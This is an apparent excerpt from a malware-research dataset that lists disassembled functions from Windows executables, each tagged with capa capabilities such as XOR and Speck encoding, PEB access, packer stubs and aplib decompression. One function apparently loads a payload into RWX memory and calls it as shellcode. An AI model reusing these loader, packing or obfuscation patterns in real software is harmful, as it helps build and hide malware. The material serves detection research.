joyce8/EMBER2024-capa huggingface dataset:
Function at 0x642310
Capabilities:
Encode data using xor

Disassembly:
mov dword [esp + ecx*2 + 0x249e78b2], ecx
add dword [esp + ecx + 0x124f3c61], 0xffa443b3
test cl, 1
lea edi, [edi + ecx*8 + 0x540c84ba]
push 0xe239ab0a
push edx
jno 0x622893
bswap edi
mov dword [esp + edi + 0x8fa08d2], edi
push esi
mov edi, dword [esp + edi + 0x8fa08ba]
mov edi, dword [edi + ecx + 0x124f3c55]
mov byte [esp + ecx*2 + 0x249e78ce], 0x9c
jae 0x4f0d1b
mov ecx, dword [edi]
call fcn.005b718c
inc ecx
mov esi, 0x8092190b
call fcn.005106a6
movzx eax, byte [ebp]
call fcn.00619df7
or ebp, ebp
mov ebp, dword [edi + 4]
push 0x83af3a3
adc edi, 8
mov dword fs:[ecx], ebp
call fcn.0058bc8c
scasd eax, dword es:[edi]
outsd dx, dword [esi]
or byte [eax + 0x6e], dh
pop ecx
cmp byte [edi - 0x40d8e58e], ch
fadd dword [edx - 0x55885f07]
invalid

Function at 0x64aafc
Capabilities:
Encode data using xor

Disassembly:
sub dword [esp + 0x20], ebp
xchg dword [esp + 0x2c], edx
mov ebp, dword [esp + 0x24]
shl byte [esp + 0x1c], 0x1a
mov word [esp + 0x20], 0x6e1b
mov dword [esp + 0x20], 0xc8859735
je 0x65bd82
cmp al, 0xc5
xchg ecx, eax
sbb ebp, edx
fisub dword [ebp + 0x7051260]
test byte ds:[ebx], dh
test al, 0x95
arpl word [esi + edx - 0x22c12649], si
and byte [esi - 0x6f], dh
add bl, byte [ecx - 0x6b50736a]
dec ebp
mov ebx, 0x263a4618
cmp bh, byte [ebx - 0x19]
xchg byte [edi + 0x24cfdad6], al
or bl, byte [eax + 0x301cb906]
movsd dword es:[edi], dword [esi]
xchg esp, eax
les esp, [ecx]
inc edx
loope 0x64ab3c
fcomp st(3)
invalid

Function at 0x6585db
Capabilities:
Encode data using xor

Disassembly:
mov dword [ebp], ecx
lea esp, [esp + 8]
jmp fcn.0049707e
jmp 0x556689

Function at 0x682f6f
Capabilities:
Encode data using xor

Disassembly:
mov dword [esp + 0xc], ebp
shr dword [esp + 0xc], 1
jne 0x5c8ef4
call fcn.00666e51

Function at 0x69b989
Capabilities:
Encode data using xor

Disassembly:
inc ecx
xor ch, 0x92
neg byte [esp + 7]
inc ecx
rol ch, 1
inc ebp
xor bh, ch
dec eax
shr dword [esp], 0xbe
dec esi
lea ebp, [esp + ebp + 8]
jae 0x5c4cf0
inc bp
mov dword [ebp], eax
push 0x3bb8472a
dec eax
test word [esp + 0x18], 0xdc24
call fcn.004f86f8
dec eax
add ebp, 2
inc esp
movzx ebp, byte [esi]
dec eax
add esi, 1
push 0x9b212d82
inc ebp
xor ch, bh
inc ecx
xor ch, 0x84
inc ecx
sub ch, 9
jmp 0x565c1c
jle 0x68867e

Function at 0x6bccae
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
lea esp, [esp + 8]
jne 0x85d577

Function at 0x6ccb26
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
add esi, 4
div edi
jmp 0x82f5d5
mov dword [esi], edx
call fcn.007d0026

Function at 0x6eb72a
Capabilities:
Encode data using xor

Disassembly:
xor si, bx
ror si, 1
add si, 0xbe07
neg si
sub si, 0x6424
sar byte [esp + 5], 1
neg si

Function at 0x6ecc88
Capabilities:
Encrypt data using rc4 prga

Disassembly:
add edi, 4
mov dword [esp], 0xd9a8ef9d
shr dword [esp], 0xd9
xor eax, eax
jmp 0x71b70c
push 0x71aa20b1
mov dword [esp], edi
test esi, esi
not byte [esp + 2]
lea esp, [esp + 4]
je 0x83359e
jmp 0x7eec97
jmp 0x71b351
Function at 0x6f9229
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
xor cx, bx
sal dword [esp + 4], 0xdc
sbb cx, 0x322f
neg cx
dec cx
neg cx
inc cx
xor bx, cx
mov dword [esp], 0xe589bd96
push 0x81a79735
sub ebp, 2
jmp 0x8a6117
push 0x4caaec34
mov word [ebp], cx
call fcn.006c3c17
movzx ecx, byte [esi]
add esi, 1
mov ebp, 0x71cfa8f
xor cl, bl
not cl
sub cl, 9
lea edx, [ebp + ebp + 0x368032ac]
neg cl
call fcn.0081e958

Function at 0x70ae89
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
ret
je 0x86aa3c
mov eax, 0x5a4d
cmp word [edx], ax
jmp 0x86aa36
push ebp
mov ebp, esp
ror edx, cl
bts edx, eax
mov edx, dword [ebp + 8]
sub esp, 0x114
stc
push esi
test edx, edx
je 0x86aa3c
mov esi, dword [ebp + 0xc]
test edx, esp
cmp esp, ecx
stc
test esi, esi
jmp 0x6f6283
je 0x86aa3c
mov eax, dword [eax + 0x7c]
cmp cx, si
mov esp, ebp
pop ebp
jmp 0x6c0be9
jne 0x86aa3c
mov ecx, dword [eax + 0x78]
clc
mov dword [ebp - 4], ecx
stc
test ecx, ecx
jmp 0x70dd18
add eax, edx
cmp dword [eax], 0x4550
jmp 0x81ca9e
mov eax, dword [edx + 0x3c]
cmc
cmp esp, 0x119ed7bd
jmp 0x835c47
je 0x85e9a8
xor eax, eax
cmovbe si, bp
pop esi
jmp 0x7edafc

Function at 0x741282
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
mov edx, 0x5ba42f12
mov edx, dword [edx + esi - 0x5ba42f12]
mov eax, dword [esi + 4]
add esi, 8
jmp 0x817998
mov dword [esp], 0x3799e807
call fcn.0078496b
cmc
cmp si, 0xc81

Function at 0x756a50
Capabilities:
Get number of processors

Disassembly:
push ebx
mov ebx, 0xe538582a
movzx ebx, byte [edi]
push 0x11ce888
xor ebx, edx
and ebx, 0xff
mov ebx, dword [ebx*4 + 0x732098]
shl dword [esp], 0xc3
shr edx, 8
xor edx, ebx
inc edi
sal dword [esp], 0x70
xor edx, 0x502ade00
dec eax
lea esp, [esp + 4]
jne 0x7075b7
mov ebx, 0xc7800fb5
not ebx
call fcn.007827a1
call int.007b5f66
aad 0x8c
inc ecx
invalid
xor edx, edx
mov dword [esp], 0xa833dc88
test eax, eax
lea esp, [esp + 8]
je 0x7827ac
jmp 0x7075b6

Function at 0x7592a5
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
and esi, 0xff
mov esi, dword [esi*4 + 0x876250]
shr edi, 8
jmp 0x83e9cf
xor edi, esi
jmp 0x8901ed
push 0xde0c4993
sal byte [esp + 0xa], 0xa3
inc ecx
call fcn.0072ecbf
Function at 0x76e3d8
Capabilities:
Encode data using xor

Disassembly:
mov cx, word [ebp]
add ebp, 2
mov eax, 0xaba87935
pop eax
sub esi, 1
mov eax, 0x9fb2cea9
movzx eax, byte [esi]
jmp 0x7eb927
push 0x6723a7b6
xor al, bl
ror dword [esp], 0x71
push 0xd11af68d
jb 0x885381
neg byte [edx]
ror dword [edi], 1
adc byte [eax + edi*2 + 0x340f000a], 0x9c
sysenter
pushfd
mov dword [esp], 0x3cc56d69
call fcn.006cef45
out dx, al
xor dh, byte [0xbf9f022c]
or al, 0x97
dec eax
or al, 0x76
arpl word [esi], bx
cmpsb byte [esi], byte es:[edi]
jp 0x7ddae4
retf
jmp 0x7ddad7
and al, 8
jmp fcn.00727a93
inc al
ror al, 1
inc al
ror al, 1
call fcn.008308a0
loopne 0x885369
add edi, dword [ebp + 0x145cc3f]
cmp edi, dword [esi + 0x3463325f]
das
cmc
aaa
mov ch, 0xa
xor dword [edi + 0x427a56e4], 0x4f
wait
xchg byte [ebp + 0x47b9fdf], bl
leave
push es
shr dword [esi], 1
mul byte [ebx]
jns 0x885418
stc
stc
call 0xb46e8419
rol bh, cl
fcmovu st(0), st(3)
xchg cl, al
pop eax
popfd
invalid
add al, 0x5a
mov byte [ebp - 0x36], al
cmc
scasb al, byte es:[edi]
mov ebx, 0xd7c928f
xchg esp, eax
pop ebp
push esp
pop es
in eax, 0xa3
cmc
mov bl, 0x8d
cmp eax, 0x36c143c5
mov edi, 0x50f9f18f
idiv bh
and eax, 0xc17d65f8
add ebp, dword [edx]
cld
adc byte [ecx + eax*2 + 0x68], bh
mov byte [edx + 0x8ec729b], bh
add al, 0x1b
pop edx
pop ebp
pop edi
dec edi
invalid

Function at 0x7827a1
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
mov ebp, esi
adc byte [esp + eax - 0x11761], dl
lea ebx, [edx + eax*4 + 0x11ba63bd]
not byte [esp + eax*2 - 0x22ec3]
mov ebx, ecx
xchg dword [esp + eax*2 - 0x22ec4], eax
mov edx, ebx
or eax, 0xa6b92c
sar al, 0xa4
shl edx, 2
jmp 0x7f3973
mov ebx, dword [esp + ebx*2 - 0x70ffe090]
lea esp, [esp + 8]
push 0x3ba6a9a8
not edx
mov dword [ebp], edx
call fcn.006d8b37
push edx
add cl, 0x23
mov dword [esp + 4], edx
not cl
shr edx, 0x2f
mov eax, edx
push eax
xor bl, cl
mov dword [esp + edx - 0x1175a], ebp
xor edx, dword [esp + edx - 0x1175e]
mov dword [esp + eax*2 - 0x22ec0], ebx
jne 0x8646d1
je 0x89ece9
inc edx
cmp edx, 0x104
jmp 0x89ece3
mov eax, 0x230947a9
mov cl, dl
bt esi, ebx
not si
rol eax, cl
btc si, 0x19
stc
lea esi, [ebp + edx - 0x10c]
cmp dh, cl
cmp si, 0x13ac
add al, dl
cmp di, sp
stc
xor al, byte [edi + esi]
jmp 0x84e645
je 0x76dd68
lea ebx, [ebx]
shl eax, 0xa8
mov eax, ebp
rol dword [esp], 0x88
adc eax, edx
call int.00783dac
push 0xe718cc2f
add ebp, 2
and dl, al
call fcn.007570dd
dec ebx
add eax, 0xcf618c4
fld dword [0x508c31cb]
mov dh, 0x4c
mov eax, dword [0xeb06ab7d]
sahf
outsb dx, byte [esi]
test al, 0x51
pop esp
cdq
sub ebp, dword [ecx]
hlt
mov byte [esi], al
jmp 0x7827e9
jp 0x76c1ec
invalid
jb 0x7ca408
mov eax, dword fs:[0x30]
mov cx, 0x3b83
mov eax, dword [eax + 0xc]
add ecx, 0xc092ab2f
and bl, 0x2a
mov ecx, dword [eax + 0xc]
mov eax, dword [eax + 0x10]
ror bl, cl
rol bl, cl
add bh, al
mov dword [ebp - 4], eax
adc bx, 0x2684
sbb bx, 0x7ab7
mov ebx, ecx
test ah, 0x93
clc
cmp ecx, eax
jmp 0x7cb91f
Function at 0x7c08c2
Capabilities:
Encode data using xor

Disassembly:
add ebp, 2
mov word [ebp], ax
lea esp, [esp + 4]
jmp fcn.006d02fb
push edi
xor ebp, dword [ecx + 0x7e]
in al, 0x53
test eax, 0xa10b044e
hlt
mov dword [esp], eax
neg ax
movzx ax, byte [ecx]
jno 0x7a8b14
movzx edx, byte [esi]
mov eax, 0x1117e594
push eax
lea esi, [eax + esi - 0x1117e593]
pop ss
adc dword [eax - 0x73], edx
mov ah, 0x30
insd dword es:[edi], dx
sbb ch, al
out dx, al
lea eax, [eax + eax*8 + 0x2e1ef010]
xor dl, bl
inc dl
neg eax
neg ax
add eax, dword [esp + eax*2 - 0x70120488]
rol dl, 1
not dl
rol eax, 0x88
call fcn.0088294d
and dword [ebx], edx
mov ah, 0x46
dec esp
jg 0x7c08d8
loopne 0x7c089f
in eax, 0x54
dec ebp
push eax
pop edi
or ebx, edi
in al, dx
sbb eax, 0x5ec7ab54
nop
ret 0xcf1d

Function at 0x81d40e
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
adc edx, dword [esp + edx - 0x3ef7337]
mov esp, ebp
mov esi, dword [esp + edi - 0x34fb33d4]
mov dword [esp + edi*2 - 0x69f66808], edi
lea ebp, [edi + edi - 0x2afcb8e4]
mov edx, ebp
rol esi, 1
shr edx, 0x84
rol edi, 0xff
xor esi, 0xe214d897
rol esi, 1
push edi
sub esi, 0xb03f8fb2
inc edi
ror di, 0xe3
xadd di, dx
add esi, ecx
sal byte [esp + edi - 0x1a7d0e32], 0x43
shr word [esp + edi*2 - 0x34fa1c5d], 0xc
lea edi, [esp + edi*2 - 0x34fa1c58]
push edx
lea ebp, [edi + ebp - 0x3ef9b020]
and dword [esp + edx*2 - 0x7dee67f], edx
jae 0x74d68b

Function at 0x825e03
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
pushfd
add dword [esp + 0xc], 0xff89b43b
mov dword [esp + 0xc], 0x9f2ad29f
push dword [esp]
popfd
lea esp, [esp + 0xc]
call fcn.00799ad8

Function at 0x84f3d9
Capabilities:
Encode data using xor

Disassembly:
add eax, 0xa4c22789
inc ebx
adc dword [edx + 0x23], eax
aam 0x82
test eax, 0x16750f18
xchg eax, edx
mov ss, ebp
dec esp
imul eax, ecx, 0x42
aaa
fsub dword [esi - 9]
not dx
or cx, dx
invalid
invalid
mov dword [esp], 0xb23b82a5
imul dl
call fcn.0070ac7b
adc al, 0xdb
add al, 0xe1
mov dword [0x1defa694], eax
mov ah, byte [ecx]
or al, 0xe2
mov edi, 0x4cb7407e
cdq
test byte [ebx + 0x73f95bdd], dh
mov edx, dword gs:[ebx - 0x2d]
mov ecx, 0x7e0384b5
push esp
cmp eax, 0xd22f124
push ds
ja 0x84f3a5
mov dl, 0xf6
ljmp 0x14ff
sub eax, edx
mov bl, 0xbb
jmp 0x84f43e
in al, 0xeb
mov al, byte [0xed564e29]
hlt
mov dword [esi], ebp
invalid
je 0x84f3df
mov eax, dword [0xcf88acc3]
inc ecx
das
test dword [esi + 2], edi
jo 0x84f44b
call dword [esp + ebx*8]
adc al, 0xdc
nop
imul ecx, ebx, 0x492d2711
movsb byte es:[edi], byte [esi]
aad 0xe4
jo 0x84f486
jns 0x84f42f
mov esp, 0xf17573fa
loope 0x84f45a
jecxz 0x84f47f
cmpsd dword cs:[esi], dword es:[edi]
pop esp
xchg edi, eax
pop edx
loope 0x84f447
arpl word [ebp + 1], sp
invalid
and eax, 0x9e0c2834
clc
xchg esi, eax
xor edx, dword [edi - 0x6038ec79]
jo 0x84f421
push ebp
retf
Function at 0x85d566
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
push 0x5e331f96
not ecx
mov dword [edi], ecx
jmp 0x7eb935
lea esp, [esp + 4]
jmp fcn.0074d69d
mov dword [esp], 0x619d4b3
lea esp, [esp + 8]
je 0x6bccb8
mov edx, 0x2816d3be
movzx edx, byte [eax + edx - 0x2816d3be]
xor edx, ecx
and edx, 0xff
push 0x6b8c4300
mov edx, dword [edx*4 + 0x71fd1c]
jmp 0x898604
shr ecx, 8
xor ecx, edx
inc eax
xor ecx, 0xf89bd207
dec ebp
call fcn.006bccae
Function at 0x4015e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get hostname

Disassembly:
push ecx
push 0x42d430
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
ret
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4261b8
push eax
mov dword fs:[0], esp
sub esp, 0x504
cmp dword [0x84b658], 0x5b1
push ebx
push esi
push edi
jne 0x4016b2
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupWrite]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
lea esi, [ebp - 0x34]
call fcn.00401c30
push 0
mov dword [ebp - 4], 0
call fcn.00403b58
add esp, 4
jmp 0x4015d0
mov eax, dword [0x84b658]
add eax, 0x1134b
push eax
push 0
mov dword [0x84b658], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, dword [0x84b658]
lea ecx, [ebp - 0x14]
push ecx
push 0x40
push edx
push eax
mov dword [0x84a5ac], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceGammaRamp]
xor esi, esi
jmp 0x4016f0
cmp esi, 0x2710
jge 0x401703
lea eax, [ebp - 0x510]
push eax
push 0
call edi
inc esi
cmp esi, 0x1ff49ccc
jl 0x4016f0
mov ecx, dword [0x84b658]
xor esi, esi
test ecx, ecx
jbe 0x401779
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExA]
jmp 0x401730
mov ecx, dword [0x84b65c]
mov dl, byte [ecx + esi + 0x1134b]
mov eax, dword [0x84a5ac]
mov byte [eax + esi], dl
mov ecx, dword [0x84b658]
cmp ecx, 0xa8
jne 0x401774
push 0
lea ecx, [ebp - 0x10]
push ecx
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea edx, [ebp - 0x110]
push edx
call ebx
mov ecx, dword [0x84b658]
inc esi
cmp esi, ecx
jb 0x401730
xor eax, eax
jmp 0x401780
lea edx, [ecx + eax]
cmp edx, 0xe
je 0x401815
inc eax
cmp eax, 0x39621
jl 0x401780
call fcn.004014f0
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call edi
cmp esi, 0x26
jne 0x4017ad
call fcn.004015b0
inc esi
cmp esi, 0x6753f
jl 0x4017a1
mov esi, dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
mov edi, dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov ebx, 0x7b
jmp 0x4017d0
cmp dword [0x84b658], 0x86
jne 0x4017fa
push 0
push 0x428e88
push str.erixiguxokudepe_vih_nukaxakutepisoxekuposu_nujuf
call esi
push 0
push 0
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
sub ebx, 1
jne 0x4017d0
call fcn.00401280
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x401820
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
cmp dword [0x84b658], 0x400
push esi
push edi
jne 0x40186c
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll__lopen]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea esi, [ebp - 0x24]
call fcn.00401970
mov ecx, esi
call fcn.00401990
mov edi, dword [ebp - 4]
push ebx
mov ebx, dword [sym.imp.USER32.dll_SetClipboardViewer]
xor esi, esi
cmp esi, 0xa5a
jge 0x401884
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x2afe5b
jle 0x40189a
cmp edi, 0x78e8e445
jne 0x4018a3
inc esi
cmp esi, 0x1bf9
jl 0x401878
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor esi, esi
push 0
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp esi, 0x206d47
jg 0x4018ce
inc esi
cmp esi, 0x4f6a4
jl 0x4018b1
mov ebx, dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
xor esi, esi
lea esp, [esp]
push 0
call edi
cmp esi, 0x2b259d
jle 0x4018f4
cmp ebx, 0x785074d5
jne 0x4018fd
inc esi
cmp esi, 0x11915
jl 0x4018e0
mov ecx, dword [0x42c4cc]
mov edx, dword [0x42c4a0]
mov dword [0x84b658], ecx
mov dword [0x84b65c], edx
call fcn.004015e0
mov esi, dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
mov edi, 0x3078f
pop ebx
jmp 0x401930
cmp dword [0x84b658], 0x51f
jne 0x40194c
push 0
lea eax, [ebp - 0x424]
push eax
push str.kuzekaziguzedabixuve
call esi
sub edi, 1
jne 0x401930
mov eax, dword [0x84a5ac]
mov dword [0x84abec], eax
call eax
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4044bb
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42b218]
jne 0x4044c5
repz ret
jmp fcn.0040883c
Function at 0x40a68f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00407132
and dword [ebp - 4], 0
cmp dword [0x42d314], 0
mov ebx, eax
jne 0x40a740
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40a7f1
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40a7f1
push eax
call fcn.004070c0
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x42d314], eax
call esi
push eax
call fcn.004070c0
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x42d318], eax
call esi
push eax
call fcn.004070c0
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x42d31c], eax
call esi
push eax
call fcn.004070c0
pop ecx
mov dword [0x42d324], eax
test eax, eax
je 0x40a740
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004070c0
pop ecx
mov dword [0x42d320], eax
mov eax, dword [0x42d320]
cmp eax, ebx
je 0x40a798
cmp dword [0x42d324], ebx
je 0x40a798
push eax
call fcn.0040713b
push dword [0x42d324]
mov esi, eax
call fcn.0040713b
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40a798
test edi, edi
je 0x40a798
call esi
test eax, eax
je 0x40a78f
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40a78f
test byte [ebp - 0xc], 1
jne 0x40a798
or dword [ebp + 0x10], 0x200000
jmp 0x40a7d1
mov eax, dword [0x42d318]
cmp eax, ebx
je 0x40a7d1
push eax
call fcn.0040713b
pop ecx
test eax, eax
je 0x40a7d1
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40a7d1
mov eax, dword [0x42d31c]
cmp eax, ebx
je 0x40a7d1
push eax
call fcn.0040713b
pop ecx
test eax, eax
je 0x40a7d1
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x42d314]
call fcn.0040713b
pop ecx
test eax, eax
je 0x40a7f1
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40a7f3
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x420b5b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x420b9a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x420b9a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x420b9a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x420b9a
cmp dword [ecx + 0x74], 0xe
jbe 0x420b9a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x433310
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x43333d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x43333d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x4010b5
Capabilities:
Hide graphical window

Disassembly:
push 0
push 0x40204f
push 0
call sub.DDRAW.dll_DirectDrawCreate
push 0x11
push dword [0x402004]
mov eax, dword [0x40204f]
push eax
mov eax, dword [eax]
call dword [eax + 0x50]
push 0x20
push 0x1e0
push 0x280
mov eax, dword [0x40204f]
push eax
mov eax, dword [eax]
call dword [eax + 0x54]
mov dword [0x402057], 0x1b0
mov dword [0x40205b], 1
mov dword [0x4020bf], 0x200
push 0
push 0x402053
push 0x402057
mov eax, dword [0x40204f]
push eax
mov eax, dword [eax]
call dword [eax + 0x18]
push 1
push dword [0x402004]
call sub.USER32.dll_ShowWindow
ret
Function at 0x408683
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40b168]
jne 0x40868d
repz ret
jmp fcn.00406b7d

Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
je 0x433072
nop
nop
nop
nop
nop
mov ebx, 0x40de38
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x69343258
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
loop 0x433060
nop
nop
nop
nop
mov eax, section..text_1
nop
cmp eax, 0
nop
nop
je 0x4330d2
nop
nop
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x5bb035a6
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4330c0
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x1762058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.017621a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x176207e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x176206a
add dl, dl
jne 0x1762089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x17620dc
xor eax, eax
add dl, dl
jne 0x1762096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x176217d
add dl, dl
jne 0x17620a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x17620b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x17620bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x17620c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x17620d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x1762075
mov eax, 1
add dl, dl
jne 0x17620ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x17620f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x17620e1
sub eax, ebx
mov ebx, 1
jne 0x1762128
mov ecx, 1
add dl, dl
jne 0x176210e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1762119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1762105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1762075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x176213f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x176214a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1762136
cmp eax, 0x7d00
jae 0x176216d
cmp eax, 0x500
jb 0x1762168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1762075
cmp eax, 0x7f
ja 0x1762170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1762075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x176219e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x1762075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10